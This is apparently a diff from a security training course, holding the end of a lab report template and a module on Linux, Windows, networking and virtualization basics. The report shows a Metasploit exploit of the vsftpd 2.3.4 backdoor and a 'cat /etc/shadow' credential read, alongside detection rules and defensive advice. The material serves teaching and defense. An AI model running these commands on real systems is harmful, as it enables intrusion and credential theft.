VLAN 200 VLAN 400
|
||||
(Red Team) (Victim Network)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. METHODOLOGY
|
||||
|
||||
Describe the step-by-step process followed during the lab. Use numbered steps and include relevant commands.
|
||||
|
||||
### 4.1 Pre-Exploitation: Reconnaissance
|
||||
|
||||
**Step 1: Host Discovery**
|
||||
```bash
|
||||
nmap -sn 10.10.4.0/24
|
||||
```
|
||||
**Output:**
|
||||
```
|
||||
Nmap scan report for 10.10.4.10
|
||||
Host is up (0.00042s latency).
|
||||
```
|
||||
|
||||
**Step 2: Port Scanning**
|
||||
```bash
|
||||
sudo nmap -sS -sV -p- 10.10.4.10 -oA full_scan
|
||||
```
|
||||
**Output:**
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
21/tcp open ftp vsftpd 2.3.4
|
||||
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1
|
||||
...
|
||||
```
|
||||
|
||||
**Analysis:** vsftpd 2.3.4 identified—known to contain backdoor vulnerability (CVE-2011-2523).
|
||||
|
||||
### 4.2 Exploitation
|
||||
|
||||
**Step 3: Launch Metasploit**
|
||||
```bash
|
||||
msfconsole -q
|
||||
```
|
||||
|
||||
**Step 4: Select Exploit Module**
|
||||
```bash
|
||||
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
|
||||
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.4.10
|
||||
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
|
||||
```
|
||||
|
||||
**Output:**
|
||||
```
|
||||
[*] 10.10.4.10:21 - Banner: 220 (vsFTPd 2.3.4)
|
||||
[*] 10.10.4.10:6200 - Shell command shell session 1 opened
|
||||
```
|
||||
|
||||
**Result:** Successful exploitation. Root shell obtained.
|
||||
|
||||
### 4.3 Post-Exploitation
|
||||
|
||||
**Step 5: Verify Access**
|
||||
```bash
|
||||
id
|
||||
```
|
||||
**Output:**
|
||||
```
|
||||
uid=0(root) gid=0(root)
|
||||
```
|
||||
|
||||
**Step 6: Credential Harvesting**
|
||||
```bash
|
||||
cat /etc/shadow
|
||||
```
|
||||
**Output:** (Include first 3 lines only for report)
|
||||
```
|
||||
root:$1$XjpI2OBz$...:0:0:root:/root:/bin/bash
|
||||
daemon:*:14684:0:99999:7:::
|
||||
...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. FINDINGS & ANALYSIS
|
||||
|
||||
### 5.1 Key Discoveries
|
||||
|
||||
**Vulnerability Identified:**
|
||||
- **CVE:** CVE-2011-2523
|
||||
- **Severity:** Critical (CVSS 10.0)
|
||||
- **Description:** vsftpd 2.3.4 contains malicious backdoor code that opens shell access on port 6200 when username contains `:)` smiley face.
|
||||
- **Exploitability:** Trivial—no authentication required.
|
||||
|
||||
**Impact Assessment:**
|
||||
- **Confidentiality:** HIGH—Full read access to all files including /etc/shadow
|
||||
- **Integrity:** HIGH—Root access allows file modification
|
||||
- **Availability:** HIGH—Attacker could delete files or crash system
|
||||
|
||||
### 5.2 Network Traffic Analysis
|
||||
|
||||
**Wireshark Observations:**
|
||||
- TCP stream 1: FTP connection (port 21) with malicious username
|
||||
- TCP stream 2: Shell session on port 6200
|
||||
- No encryption—all commands visible in plaintext
|
||||
|
||||
**Screenshot:** [Include Wireshark screenshot showing backdoor traffic]
|
||||
|
||||
---
|
||||
|
||||
## 6. INDICATORS OF COMPROMISE (IOCs)
|
||||
|
||||
| Type | Value | Description |
|
||||
|------|-------|-------------|
|
||||
| IP Address | 10.10.2.50 | Attacker source IP |
|
||||
| Port | 6200 | vsftpd backdoor listening port |
|
||||
| Process | vsftpd | Spawned root shell (suspicious parent) |
|
||||
| Network | TCP SYN to 6200 | Connection to non-standard FTP port |
|
||||
|
||||
---
|
||||
|
||||
## 7. DEFENSIVE RECOMMENDATIONS
|
||||
|
||||
### 7.1 Immediate Actions
|
||||
1. **Patch vsftpd:** Upgrade to version 3.0.5 or disable service if not needed
|
||||
2. **Network Segmentation:** Block victim network from initiating connections to Red Team VLAN
|
||||
3. **IDS Rule:** Deploy Suricata signature for port 6200 connections
|
||||
|
||||
### 7.2 Long-Term Improvements
|
||||
1. **Vulnerability Management:** Implement automated scanning (weekly)
|
||||
2. **Patch Management:** Establish SLA for critical patches (24-48 hours)
|
||||
3. **Firewall Rules:** Default-deny egress from victim network
|
||||
4. **Security Monitoring:** Alert on connections to non-standard ports
|
||||
|
||||
---
|
||||
|
||||
## 8. DETECTION ENGINEERING
|
||||
|
||||
### 8.1 Suricata Rule
|
||||
```
|
||||
alert tcp any any -> any 6200 (msg:"vsftpd 2.3.4 Backdoor Connection"; flow:established,to_server; sid:1000050; rev:1;)
|
||||
```
|
||||
|
||||
### 8.2 Security Onion Query (KQL)
|
||||
```
|
||||
destination.port: 6200 AND event.module: "suricata"
|
||||
```
|
||||
|
||||
### 8.3 MITRE ATT&CK Mapping
|
||||
- **Tactic:** Initial Access (TA0001)
|
||||
- **Technique:** T1190 - Exploit Public-Facing Application
|
||||
- **Sub-Technique:** FTP Service Exploitation
|
||||
|
||||
---
|
||||
|
||||
## 9. CHALLENGES & TROUBLESHOOTING
|
||||
|
||||
**Challenge 1:** Initial exploit failed with "connection refused"
|
||||
|
||||
**Root Cause:** VLAN tag not set correctly on VM network interface in Proxmox.
|
||||
|
||||
**Solution:**
|
||||
```bash
|
||||
# Proxmox VM > Hardware > Network Device > Edit
|
||||
# VLAN Tag: 400 (was blank)
|
||||
```
|
||||
|
||||
**Challenge 2:** Wireshark showed no captured packets
|
||||
|
||||
**Root Cause:** Capturing on wrong interface (wlan0 instead of eth0).
|
||||
|
||||
**Solution:**
|
||||
```bash
|
||||
sudo tcpdump -i eth0 # Verify interface has traffic
|
||||
sudo wireshark -i eth0
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 10. LESSONS LEARNED
|
||||
|
||||
### What Went Well
|
||||
- Successful identification and exploitation of vulnerability
|
||||
- Comprehensive documentation with screenshots
|
||||
- Effective use of network segmentation for safe testing
|
||||
|
||||
### What Could Be Improved
|
||||
- Faster troubleshooting (spent 30 minutes on VLAN issue)
|
||||
- More thorough initial reconnaissance (missed some services)
|
||||
- Should have taken VM snapshot before exploitation
|
||||
|
||||
### Key Takeaways
|
||||
1. **Offensive Perspective:** Outdated software is trivially exploitable—attackers have automated scanners for this.
|
||||
2. **Defensive Perspective:** One unpatched service can compromise entire network. Defense-in-depth is critical.
|
||||
3. **Forensics Importance:** Without packet capture, proving the attack vector would be difficult in IR scenario.
|
||||
|
||||
---
|
||||
|
||||
## 11. APPENDICES
|
||||
|
||||
### Appendix A: Command History
|
||||
```bash
|
||||
# Full command history from Kali terminal
|
||||
history > command_history.txt
|
||||
```
|
||||
(Attach file: command_history.txt)
|
||||
|
||||
### Appendix B: Screenshots
|
||||
- Screenshot 1: Nmap scan results showing vsftpd 2.3.4
|
||||
- Screenshot 2: Metasploit successful exploitation
|
||||
- Screenshot 3: Root shell access (id command output)
|
||||
- Screenshot 4: Wireshark PCAP showing port 6200 connection
|
||||
- Screenshot 5: Security Onion alert for detection
|
||||
|
||||
### Appendix C: Packet Capture
|
||||
(Attach file: exploitation.pcapng)
|
||||
|
||||
### Appendix D: Metasploit Output Log
|
||||
(Attach file: msfconsole.log)
|
||||
|
||||
---
|
||||
|
||||
## 12. REFERENCES
|
||||
|
||||
1. National Vulnerability Database. (2011). CVE-2011-2523. Retrieved from https://nvd.nist.gov/vuln/detail/CVE-2011-2523
|
||||
2. Rapid7. (2024). Metasploit Framework Documentation. Retrieved from https://docs.rapid7.com/metasploit/
|
||||
3. MITRE Corporation. (2024). ATT&CK Framework - T1190. Retrieved from https://attack.mitre.org/techniques/T1190/
|
||||
4. OWASP. (2021). Top 10 Web Application Security Risks. Retrieved from https://owasp.org/Top10/
|
||||
|
||||
---
|
||||
|
||||
## 13. DECLARATION
|
||||
|
||||
I certify that this lab report represents my own work and that all tools were used in an authorized, ethical manner within the confines of my personal lab environment. I understand that unauthorized computer access is illegal.
|
||||
|
||||
**Signature:** ___________________________
|
||||
**Date:** ___________________________
|
||||
|
||||
---
|
||||
|
||||
**END OF LAB REPORT**
|
||||
|
||||
---
|
||||
|
||||
# GRADING RUBRIC FOR THIS REPORT
|
||||
|
||||
| Section | Points | Criteria |
|
||||
|---------|--------|----------|
|
||||
| Executive Summary | 5 | Clear, concise, non-technical language |
|
||||
| Methodology | 20 | Step-by-step, reproducible, includes commands |
|
||||
| Findings & Analysis | 20 | Technical depth, vulnerability details, impact |
|
||||
| Screenshots | 15 | Relevant, annotated, high-quality |
|
||||
| Detection Engineering | 15 | Custom rules, MITRE mapping, queries |
|
||||
| Defensive Recommendations | 10 | Actionable, prioritized, realistic |
|
||||
| Lessons Learned | 5 | Self-reflection, improvement mindset |
|
||||
| Documentation Quality | 10 | Formatting, grammar, professionalism |
|
||||
| **TOTAL** | **100** | |
|
||||
|
||||
**Minimum Passing Score:** 70/100
|
||||
600
MOD0_Prerequisites.md
Normal file
600
MOD0_Prerequisites.md
Normal file
@@ -0,0 +1,600 @@
|
||||
# FILE: MOD0_Prerequisites.md
|
||||
# MODULE 0: PREREQUISITES & FOUNDATIONAL SKILLS
|
||||
|
||||
## Learning Objectives
|
||||
By completing this module, you will:
|
||||
- Navigate Linux and Windows command-line interfaces confidently
|
||||
- Understand TCP/IP networking fundamentals and subnetting
|
||||
- Analyze system logs for security events
|
||||
- Grasp virtualization concepts critical for lab environment management
|
||||
|
||||
---
|
||||
|
||||
## SECTION 1: LINUX COMMAND LINE FUNDAMENTALS
|
||||
|
||||
### Key Concepts
|
||||
- **Linux Filesystem Hierarchy:** `/` (root), `/home`, `/var/log`, `/etc`
|
||||
- **File Permissions:** Read (r=4), Write (w=2), Execute (x=1)
|
||||
- **Users & Groups:** root vs standard users, sudo privilege escalation
|
||||
- **Package Management:** `apt` (Debian/Ubuntu), `yum`/`dnf` (RedHat/CentOS)
|
||||
|
||||
### LAB 0.1: Linux System Navigation & Log Analysis
|
||||
|
||||
**Prerequisites:** Kali Linux VM (you'll use this throughout the course)
|
||||
|
||||
**Step-by-Step:**
|
||||
|
||||
```bash
|
||||
# 1. Check your current user and privileges
|
||||
whoami
|
||||
id
|
||||
# Expected output: Shows username and group memberships (UID, GID)
|
||||
|
||||
# 2. Navigate the filesystem
|
||||
cd /var/log
|
||||
ls -lah
|
||||
# Flags explained: -l (long format), -a (show hidden), -h (human-readable sizes)
|
||||
|
||||
# 3. Analyze authentication logs
|
||||
sudo tail -n 50 /var/log/auth.log
|
||||
# Shows last 50 login attempts (successful and failed)
|
||||
|
||||
# 4. Search for failed SSH login attempts
|
||||
sudo grep "Failed password" /var/log/auth.log | tail -n 20
|
||||
# Filters log for failed authentication events
|
||||
|
||||
# 5. Count failed login attempts by IP address
|
||||
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn
|
||||
# Real-world use: Identify brute-force attacks
|
||||
|
||||
# 6. Check active network connections
|
||||
ss -tunap
|
||||
# t=TCP, u=UDP, n=numeric (don't resolve hostnames), a=all, p=processes
|
||||
# Alternative: netstat -tunap (older systems)
|
||||
|
||||
# 7. View running processes
|
||||
ps aux | grep ssh
|
||||
# Find SSH-related processes
|
||||
|
||||
# 8. Check system resource usage
|
||||
top
|
||||
# Press 'q' to quit
|
||||
# Alternative: htop (more user-friendly, may need: sudo apt install htop)
|
||||
|
||||
# 9. Create a test user (practice user management)
|
||||
sudo useradd -m -s /bin/bash testuser
|
||||
# -m creates home directory, -s sets shell
|
||||
sudo passwd testuser
|
||||
# Set password when prompted
|
||||
|
||||
# 10. Check user creation in logs
|
||||
sudo grep "testuser" /var/log/auth.log | tail -n 5
|
||||
|
||||
# 11. Switch to the new user
|
||||
su - testuser
|
||||
# Enter password, then exit with: exit
|
||||
|
||||
# 12. Remove test user
|
||||
sudo userdel -r testuser
|
||||
# -r removes home directory
|
||||
```
|
||||
|
||||
**Deliverable:** Screenshot showing output of step 5 (failed login count by IP) and step 8 (top command).
|
||||
|
||||
---
|
||||
|
||||
### LAB 0.2: File Permissions & Security
|
||||
|
||||
```bash
|
||||
# 1. Create a test directory structure
|
||||
mkdir -p ~/security_lab/secrets
|
||||
cd ~/security_lab
|
||||
|
||||
# 2. Create test files
|
||||
echo "Public information" > public.txt
|
||||
echo "Sensitive data" > secrets/confidential.txt
|
||||
|
||||
# 3. Check default permissions
|
||||
ls -l public.txt
|
||||
# Typical output: -rw-r--r-- (owner: rw, group: r, others: r)
|
||||
|
||||
# Understanding permission notation:
|
||||
# -rw-r--r--
|
||||
# - = file type (d for directory)
|
||||
# rw- = owner permissions (read, write, no execute)
|
||||
# r-- = group permissions (read only)
|
||||
# r-- = others permissions (read only)
|
||||
|
||||
# 4. Make a file executable
|
||||
echo '#!/bin/bash' > test_script.sh
|
||||
echo 'echo "Security Lab Script"' >> test_script.sh
|
||||
chmod +x test_script.sh
|
||||
ls -l test_script.sh
|
||||
# Now shows: -rwxr-xr-x (executable by all)
|
||||
|
||||
# 5. Restrict sensitive file access
|
||||
chmod 600 secrets/confidential.txt
|
||||
ls -l secrets/confidential.txt
|
||||
# Now shows: -rw------- (only owner can read/write)
|
||||
|
||||
# 6. Using octal notation
|
||||
chmod 750 secrets/
|
||||
# 7 (owner: rwx), 5 (group: r-x), 0 (others: ---)
|
||||
ls -ld secrets/
|
||||
|
||||
# 7. Change file ownership (requires sudo)
|
||||
sudo chown root:root secrets/confidential.txt
|
||||
ls -l secrets/confidential.txt
|
||||
# File now owned by root
|
||||
|
||||
# 8. Try to read as regular user
|
||||
cat secrets/confidential.txt
|
||||
# Should fail with "Permission denied"
|
||||
|
||||
# 9. Use sudo to read
|
||||
sudo cat secrets/confidential.txt
|
||||
# Now works (demonstrates privilege escalation)
|
||||
|
||||
# 10. Clean up
|
||||
cd ~
|
||||
sudo rm -rf ~/security_lab
|
||||
```
|
||||
|
||||
**Deliverable:** Screenshot showing permission denied error (step 8) and successful sudo read (step 9).
|
||||
|
||||
---
|
||||
|
||||
## SECTION 2: WINDOWS FUNDAMENTALS
|
||||
|
||||
### Key Concepts
|
||||
- **PowerShell vs CMD:** Modern PowerShell (verb-noun cmdlets) vs legacy Command Prompt
|
||||
- **Event Viewer:** Centralized logging system (Security, System, Application logs)
|
||||
- **Critical Event IDs:** 4624 (successful logon), 4625 (failed logon), 4672 (admin logon)
|
||||
- **Services:** Background processes (`services.msc`)
|
||||
|
||||
### LAB 0.3: Windows PowerShell & Event Log Analysis
|
||||
|
||||
**Prerequisites:** Windows 10 VM or your host Windows machine
|
||||
|
||||
**Step-by-Step:**
|
||||
|
||||
```powershell
|
||||
# Open PowerShell as Administrator (Right-click Start > Windows PowerShell (Admin))
|
||||
|
||||
# 1. Check PowerShell version
|
||||
$PSVersionTable.PSVersion
|
||||
# Should be 5.1+ (Windows 10) or 7.x (PowerShell Core)
|
||||
|
||||
# 2. Get system information
|
||||
Get-ComputerInfo | Select-Object CsName, WindowsVersion, OsArchitecture
|
||||
|
||||
# 3. List running services
|
||||
Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, DisplayName
|
||||
|
||||
# 4. Check for failed login attempts (Event ID 4625)
|
||||
Get-EventLog -LogName Security -InstanceId 4625 -Newest 10 | Format-Table TimeGenerated, Message -AutoSize
|
||||
# If no events: Try logging in with wrong password first
|
||||
|
||||
# 5. Check successful logins (Event ID 4624)
|
||||
Get-EventLog -LogName Security -InstanceId 4624 -Newest 10 | Format-Table TimeGenerated, Message -AutoSize
|
||||
|
||||
# 6. Find administrative logins (Event ID 4672)
|
||||
Get-EventLog -LogName Security -InstanceId 4672 -Newest 5 | Format-List
|
||||
# Shows "Special privileges assigned to new logon" (admin/SYSTEM)
|
||||
|
||||
# 7. Search Event Viewer for specific string
|
||||
Get-EventLog -LogName System -Newest 100 | Where-Object {$_.Message -like "*error*"}
|
||||
|
||||
# 8. List local user accounts
|
||||
Get-LocalUser | Select-Object Name, Enabled, LastLogon
|
||||
|
||||
# 9. Check active network connections
|
||||
Get-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State
|
||||
|
||||
# 10. Find process using specific port (e.g., port 445 - SMB)
|
||||
Get-NetTCPConnection -LocalPort 445 | Select-Object OwningProcess
|
||||
Get-Process -Id <PID from above>
|
||||
|
||||
# 11. List installed software
|
||||
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion
|
||||
|
||||
# 12. Check Windows Defender status
|
||||
Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled, IoavProtectionEnabled
|
||||
|
||||
# BONUS: Export security logs for analysis
|
||||
Get-EventLog -LogName Security -Newest 100 | Export-Csv -Path C:\security_logs.csv -NoTypeInformation
|
||||
# Open with Excel or import into SIEM
|
||||
```
|
||||
|
||||
**Deliverable:** Screenshot of Event ID 4625 output (step 4) and active network connections (step 9).
|
||||
|
||||
---
|
||||
|
||||
### LAB 0.4: Windows Event Viewer GUI Navigation
|
||||
|
||||
```
|
||||
1. Press Win + R, type: eventvwr.msc, press Enter
|
||||
|
||||
2. Navigate: Windows Logs > Security
|
||||
|
||||
3. Right-click "Security" > Filter Current Log
|
||||
- Event IDs: 4624,4625,4672
|
||||
- Click OK
|
||||
|
||||
4. Double-click on Event ID 4625 (failed logon)
|
||||
- Note the "Failure Information" section
|
||||
- Identify: Source IP, Account Name, Failure Reason
|
||||
|
||||
5. Create Custom View:
|
||||
- Actions panel > Create Custom View
|
||||
- Name: "Authentication Events"
|
||||
- Filter: Event IDs 4624,4625,4648,4672
|
||||
- Save
|
||||
|
||||
6. Export logs:
|
||||
- Right-click custom view > Save All Events As
|
||||
- Format: CSV or EVTX
|
||||
- Save to Documents folder
|
||||
```
|
||||
|
||||
**Deliverable:** Screenshot of custom view showing filtered authentication events.
|
||||
|
||||
---
|
||||
|
||||
## SECTION 3: NETWORKING FUNDAMENTALS
|
||||
|
||||
### Key Concepts
|
||||
- **OSI Model:** 7 layers (Physical, Data Link, Network, Transport, Session, Presentation, Application)
|
||||
- **TCP/IP Stack:** Link, Internet (IP), Transport (TCP/UDP), Application
|
||||
- **IPv4 Addressing:** 32-bit addresses (e.g., 192.168.1.100)
|
||||
- **Subnetting:** CIDR notation (/24 = 255.255.255.0)
|
||||
- **Key Protocols:** TCP (connection-oriented), UDP (connectionless), ICMP (ping)
|
||||
|
||||
### LAB 0.5: Subnetting & Network Calculations
|
||||
|
||||
**Practice Problems (Calculate by hand, then verify with tools):**
|
||||
|
||||
**Problem 1:**
|
||||
```
|
||||
Network: 10.10.2.0/24
|
||||
Questions:
|
||||
a) What is the subnet mask?
|
||||
b) What is the network address?
|
||||
c) What is the broadcast address?
|
||||
d) How many usable host IPs?
|
||||
e) What is the first usable IP?
|
||||
f) What is the last usable IP?
|
||||
|
||||
ANSWERS:
|
||||
a) 255.255.255.0
|
||||
b) 10.10.2.0
|
||||
c) 10.10.2.255
|
||||
d) 254 (256 - 2 for network and broadcast)
|
||||
e) 10.10.2.1
|
||||
f) 10.10.2.254
|
||||
```
|
||||
|
||||
**Problem 2:**
|
||||
```
|
||||
Network: 192.168.50.0/26
|
||||
Questions:
|
||||
a) Subnet mask?
|
||||
b) How many subnets can be created?
|
||||
c) How many hosts per subnet?
|
||||
d) List the first 3 subnet ranges
|
||||
|
||||
ANSWERS:
|
||||
a) 255.255.255.192
|
||||
b) 4 subnets (/26 = 2 bits borrowed, 2^2 = 4)
|
||||
c) 62 hosts per subnet (64 - 2)
|
||||
d)
|
||||
- 192.168.50.0/26 (hosts: .1 to .62, broadcast: .63)
|
||||
- 192.168.50.64/26 (hosts: .65 to .126, broadcast: .127)
|
||||
- 192.168.50.128/26 (hosts: .129 to .190, broadcast: .191)
|
||||
```
|
||||
|
||||
**Verification Tools:**
|
||||
|
||||
```bash
|
||||
# Linux: Install ipcalc
|
||||
sudo apt install ipcalc
|
||||
|
||||
# Calculate subnet details
|
||||
ipcalc 10.10.2.0/24
|
||||
ipcalc 192.168.50.0/26
|
||||
|
||||
# Windows PowerShell: Manual calculation
|
||||
function Get-SubnetInfo {
|
||||
param($CIDR)
|
||||
$IP, $MaskBits = $CIDR -split '/'
|
||||
$MaskBits = [int]$MaskBits
|
||||
$TotalIPs = [math]::Pow(2, 32 - $MaskBits)
|
||||
$UsableIPs = $TotalIPs - 2
|
||||
|
||||
Write-Host "Network: $CIDR"
|
||||
Write-Host "Total IPs: $TotalIPs"
|
||||
Write-Host "Usable IPs: $UsableIPs"
|
||||
}
|
||||
|
||||
Get-SubnetInfo "10.10.2.0/24"
|
||||
```
|
||||
|
||||
**Deliverable:** Handwritten or typed answers to both problems, verified with ipcalc screenshots.
|
||||
|
||||
---
|
||||
|
||||
### LAB 0.6: Protocol Analysis with Ping & Traceroute
|
||||
|
||||
```bash
|
||||
# LINUX/KALI:
|
||||
|
||||
# 1. Basic ping (ICMP Echo Request)
|
||||
ping -c 4 8.8.8.8
|
||||
# -c 4 = send 4 packets
|
||||
|
||||
# 2. Traceroute (map network path)
|
||||
traceroute 8.8.8.8
|
||||
# Shows each router hop to destination
|
||||
|
||||
# 3. Ping with timestamp
|
||||
ping -c 10 -D 8.8.8.8
|
||||
# -D adds timestamp to each line
|
||||
|
||||
# 4. Ping specific interface (if multiple NICs)
|
||||
ping -I eth0 -c 4 10.10.2.1
|
||||
|
||||
# 5. Large packet test (MTU discovery)
|
||||
ping -c 4 -s 1472 8.8.8.8
|
||||
# -s 1472 = 1500 byte packet (1472 + 28 byte header)
|
||||
|
||||
# 6. TCP ping alternative (when ICMP blocked)
|
||||
sudo hping3 -S -p 80 -c 4 google.com
|
||||
# -S = SYN flag, -p 80 = port 80, -c 4 = count
|
||||
# Install: sudo apt install hping3
|
||||
|
||||
# WINDOWS (PowerShell):
|
||||
|
||||
# 1. Basic ping
|
||||
Test-Connection -ComputerName 8.8.8.8 -Count 4
|
||||
|
||||
# 2. Traceroute
|
||||
Test-NetConnection -ComputerName google.com -TraceRoute
|
||||
|
||||
# 3. TCP port test
|
||||
Test-NetConnection -ComputerName google.com -Port 443
|
||||
# Tests if port 443 (HTTPS) is open
|
||||
```
|
||||
|
||||
**Deliverable:** Screenshot of traceroute to 8.8.8.8 showing at least 5 hops.
|
||||
|
||||
---
|
||||
|
||||
## SECTION 4: VIRTUALIZATION CONCEPTS
|
||||
|
||||
### Key Concepts
|
||||
- **Hypervisor Types:**
|
||||
- **Type 1 (Bare Metal):** Proxmox, VMware ESXi, Hyper-V Server (runs directly on hardware)
|
||||
- **Type 2 (Hosted):** VirtualBox, VMware Workstation (runs on host OS)
|
||||
- **Virtual Machine Components:** vCPU, vRAM, vNIC (virtual network interface card), vDisk
|
||||
- **Snapshots:** Point-in-time state saves (critical for labs—snapshot before risky operations!)
|
||||
- **Network Modes:** NAT, Bridged, Host-Only, Internal
|
||||
|
||||
### LAB 0.7: VirtualBox Snapshot Management
|
||||
|
||||
**Prerequisites:** VirtualBox installed, any VM (Ubuntu, Windows, etc.)
|
||||
|
||||
**Step-by-Step:**
|
||||
|
||||
```
|
||||
1. Start VirtualBox Manager
|
||||
|
||||
2. Select your VM (powered off state)
|
||||
|
||||
3. Take Baseline Snapshot:
|
||||
- Machine menu > Take Snapshot
|
||||
- Name: "Clean Install - Pre-Labs"
|
||||
- Description: "Fresh OS install before any modifications"
|
||||
- Click OK
|
||||
|
||||
4. Start the VM and make a change:
|
||||
- Create file on desktop: "test_snapshot.txt"
|
||||
- Write some text in it
|
||||
|
||||
5. Take Second Snapshot (VM can be running):
|
||||
- Machine menu > Take Snapshot
|
||||
- Name: "After Test File Creation"
|
||||
- Click OK
|
||||
|
||||
6. Make destructive change:
|
||||
- Delete the test file
|
||||
- Empty recycle bin
|
||||
|
||||
7. Restore to previous snapshot:
|
||||
- Shut down VM
|
||||
- In VirtualBox Manager: Click "Snapshots" button (top right)
|
||||
- Right-click "After Test File Creation" > Restore
|
||||
- Confirm restoration
|
||||
|
||||
8. Verify restoration:
|
||||
- Start VM
|
||||
- Check desktop - file should be back!
|
||||
|
||||
9. Snapshot best practices for security labs:
|
||||
- ALWAYS snapshot before exploitation attempts
|
||||
- Name snapshots descriptively (e.g., "Pre-Metasploit-Attack-2026-02-11")
|
||||
- Delete old snapshots to free disk space (keep 2-3 max)
|
||||
```
|
||||
|
||||
**Deliverable:** Screenshot of VirtualBox snapshot tree showing at least 2 snapshots.
|
||||
|
||||
---
|
||||
|
||||
### LAB 0.8: Understanding Virtual Network Modes
|
||||
|
||||
**Using VirtualBox (concepts apply to Proxmox/VMware):**
|
||||
|
||||
```
|
||||
1. Open VM Settings > Network > Adapter 1
|
||||
|
||||
2. Test Each Mode:
|
||||
|
||||
MODE 1: NAT (Network Address Translation)
|
||||
- VM can access internet
|
||||
- VM cannot be accessed from host
|
||||
- VMs cannot talk to each other
|
||||
- Use case: Isolated internet access
|
||||
|
||||
Test:
|
||||
- Set to NAT
|
||||
- Start VM, open browser, visit google.com (should work)
|
||||
- From host, try to ping VM IP (should fail)
|
||||
|
||||
MODE 2: Bridged Adapter
|
||||
- VM appears as separate device on your home network
|
||||
- Gets IP from your router's DHCP
|
||||
- Can communicate with all devices on LAN
|
||||
- Use case: VM needs to be network-accessible
|
||||
|
||||
Test:
|
||||
- Set to Bridged
|
||||
- Start VM, check IP: ip addr (Linux) or ipconfig (Windows)
|
||||
- From host, ping VM IP (should work)
|
||||
|
||||
MODE 3: Host-Only Adapter
|
||||
- VM can only talk to host machine
|
||||
- VM cannot access internet
|
||||
- VMs on same host-only network can talk to each other
|
||||
- Use case: Isolated lab networks
|
||||
|
||||
Test:
|
||||
- Set to Host-Only
|
||||
- Start VM, check IP (should be 192.168.56.x range)
|
||||
- Try to access internet (should fail)
|
||||
- From host, ping VM (should work)
|
||||
|
||||
MODE 4: Internal Network
|
||||
- VMs can only talk to other VMs on same internal network
|
||||
- Completely isolated from host and internet
|
||||
- Use case: Simulated enterprise networks
|
||||
|
||||
Test:
|
||||
- Create 2 VMs on "intnet1" internal network
|
||||
- Assign static IPs manually
|
||||
- VMs should ping each other but nothing else
|
||||
|
||||
3. Proxmox Equivalent (for reference):
|
||||
- NAT = VM uses Proxmox's internet connection
|
||||
- Bridged = VLAN-tagged interface on vmbr0
|
||||
- Host-Only = Separate bridge without physical uplink
|
||||
- Internal = VMs on same VLAN tag
|
||||
```
|
||||
|
||||
**Deliverable:** Table showing which modes allow: VM-to-Internet, VM-to-Host, VM-to-VM, Host-to-VM.
|
||||
|
||||
---
|
||||
|
||||
## KNOWLEDGE CHECK: Pre-Module Assessment
|
||||
|
||||
**Before proceeding to MOD1, you should be able to:**
|
||||
|
||||
### Linux Skills
|
||||
- [ ] Navigate filesystem using `cd`, `ls`, `pwd`
|
||||
- [ ] Read log files with `cat`, `tail`, `grep`
|
||||
- [ ] Understand `rwx` permissions and `chmod` octal notation
|
||||
- [ ] Use `sudo` for privilege escalation
|
||||
- [ ] Identify running processes with `ps` and `top`
|
||||
|
||||
### Windows Skills
|
||||
- [ ] Execute PowerShell cmdlets (Get-EventLog, Get-Service, Get-Process)
|
||||
- [ ] Navigate Event Viewer and filter by Event ID
|
||||
- [ ] Identify critical security Event IDs (4624, 4625, 4672)
|
||||
- [ ] Check active network connections
|
||||
- [ ] Export logs to CSV
|
||||
|
||||
### Networking Skills
|
||||
- [ ] Calculate subnet mask from CIDR notation
|
||||
- [ ] Determine network and broadcast addresses
|
||||
- [ ] Count usable hosts in a subnet
|
||||
- [ ] Use `ping` and `traceroute` for connectivity testing
|
||||
- [ ] Understand TCP vs UDP vs ICMP
|
||||
|
||||
### Virtualization Skills
|
||||
- [ ] Take and restore VM snapshots
|
||||
- [ ] Differentiate between NAT, Bridged, Host-Only network modes
|
||||
- [ ] Understand Type 1 vs Type 2 hypervisors
|
||||
- [ ] Explain why VLAN tagging is necessary in Proxmox
|
||||
|
||||
---
|
||||
|
||||
## TROUBLESHOOTING COMMON ISSUES
|
||||
|
||||
### "Permission Denied" Errors
|
||||
```bash
|
||||
# Forgot sudo?
|
||||
cat /var/log/auth.log # Fails
|
||||
sudo cat /var/log/auth.log # Works
|
||||
|
||||
# Wrong file permissions?
|
||||
ls -l filename # Check permissions
|
||||
sudo chmod 644 filename # Fix if needed
|
||||
```
|
||||
|
||||
### "Command Not Found"
|
||||
```bash
|
||||
# Tool not installed?
|
||||
which nmap # Check if exists
|
||||
sudo apt install nmap # Install if missing
|
||||
|
||||
# Wrong PATH?
|
||||
echo $PATH # View search directories
|
||||
```
|
||||
|
||||
### Windows Event Viewer Empty
|
||||
```powershell
|
||||
# Security auditing might be disabled
|
||||
auditpol /get /category:* # Check audit policies
|
||||
# Enable logon auditing if needed (requires admin):
|
||||
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
|
||||
```
|
||||
|
||||
### VM Network Not Working
|
||||
```
|
||||
1. Check VM network adapter settings (NAT/Bridged/etc.)
|
||||
2. Verify cable "connected" checkbox is ticked
|
||||
3. Inside VM: sudo dhclient (Linux) or ipconfig /renew (Windows)
|
||||
4. Check firewall rules on host
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## PROFESSOR'S GUIDANCE
|
||||
|
||||
**Time Investment:** Allocate 8-12 hours for this module. Do not rush. These are foundational skills you will use in EVERY subsequent module.
|
||||
|
||||
**Common Student Mistakes:**
|
||||
1. Skipping this module: "I already know Linux" → Then you spend 4 hours troubleshooting basic permission issues in MOD4.
|
||||
2. Not taking snapshots: You WILL break something. Snapshots are your undo button.
|
||||
3. Memorizing commands instead of understanding concepts: You won't have internet access during incident response. Understand the "why."
|
||||
